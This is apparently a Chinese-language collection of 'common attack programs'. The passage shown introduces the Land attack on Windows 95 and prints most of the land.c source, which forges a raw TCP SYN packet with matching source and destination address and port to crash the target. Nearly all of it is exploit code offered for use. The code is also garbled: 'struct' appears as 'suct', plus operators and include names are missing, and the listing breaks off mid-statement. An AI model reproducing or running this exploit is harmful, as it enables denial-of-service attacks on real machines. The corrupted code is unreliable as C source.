常用攻击程序

Absact
这里有一些是老的，现在看来并没有用，但他们都很有名。

1 Land

攻击一台Win95的机器。这是Win95的一个漏洞，以其IP地址和端口向自
己的同一个端口发起连接（发SYN），Win95即会崩溃。

/* land.c by m3lt, FLC
crashes a win95 box */

#include
#include
#include .h>
#include
#include
#include
#include
#include

//用于TCP校验和的伪头
suct pseudohdr
{
suct in_addr saddr;
suct in_addr daddr;
u_char zero;
u_char protocol;
u_short length;
suct tcphdr tcpheader;
};

//计算IP校验和
u_short checksum(u_short * data,u_short length)
{
register long value;
u_short i;

for(i=0;i<(length>>1);i )
value =data[i];

if((length&1)==1)
value =(data[i]<<8);

value=(value&65535) (value>>16);

return(~value);
}

int main(int argc,char * * argv)
{
suct sockaddr_in sin;
suct hostent * hoste;
int sock;
char buffer[40];
suct iphdr * ipheader=(suct iphdr *) buffer;
suct tcphdr * tcpheader=(suct tcphdr *) (buffer sizeof(suct iphdr));
suct pseudohdr pseudoheader;

fprintf(serr,"land.c by m3lt, FLC\n");

if(argc<3)
{
fprintf(serr,"usage: %s IP port\n",argv[0]);
return(-1);
}

bzero(&sin,sizeof(suct sockaddr_in));
sin.sin_family=AF_INET;

if((hoste=gethostbyname(argv[1]))!=NULL)
bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length);
else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
{
fprintf(serr,"unknown host %s\n",argv[1]);
return(-1);
}

if((sin.sin_port=htons(atoi(argv[2])))==0)
{
fprintf(serr,"unknown port %s\n",argv[2]);
return(-1);
}

//new一个SOCK—RAW以发伪造IP包 这需要root权限
if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
{
fprintf(serr,"couldn't allocate raw socket\n");
return(-1);
}

bzero(&buffer,sizeof(suct iphdr) sizeof(suct tcphdr));
ipheader->version=4;
ipheader->ihl=sizeof(suct iphdr)/4;
ipheader->tot_len=htons(sizeof(suct iphdr) sizeof(suct tcphdr));
ipheader->id=htons(0xF1C);
ipheader->ttl=255;
ipheader->protocol=IP_TCP;

//目的IP地址和源IP地址相同
ipheader->saddr=sin.sin_addr.s_addr;
ipheader->daddr=sin.sin_addr.s_addr;

//目的TCP端口和源TCPIP端口相同
tcpheader->th_sport=sin.sin_port;
tcpheader->th_dport=sin.sin_port;
tcpheader->th_seq=htonl(0xF1C);
tcpheader->th_flags=TH_SYN;
tcpheader->th_off=sizeof(suct tcphdr)/4;
tcpheader->th_win=htons(2048);

bzero(&pseudoheader,12 sizeof(suct tcphdr));
pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
pseudoheader.protocol=6;
pseudoheader.length=htons(sizeof(suct tcphdr));
bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(suct tcphdr));
tcpheader->th_sum=checksum((u_short *) &pseudoheader,12 sizeof(suct tcphdr));

if(sendto(sock,buffer,sizeof(suct iphdr) sizeof(suct tcphdr),
0,(suct sockaddr *) &sin,sizeof(suct sockaddr_in))==-1)
{
fprintf(serr,"couldn't send packet\n");
return(-1);
}

fprintf(serr,"%s:%s landed\n",argv[1],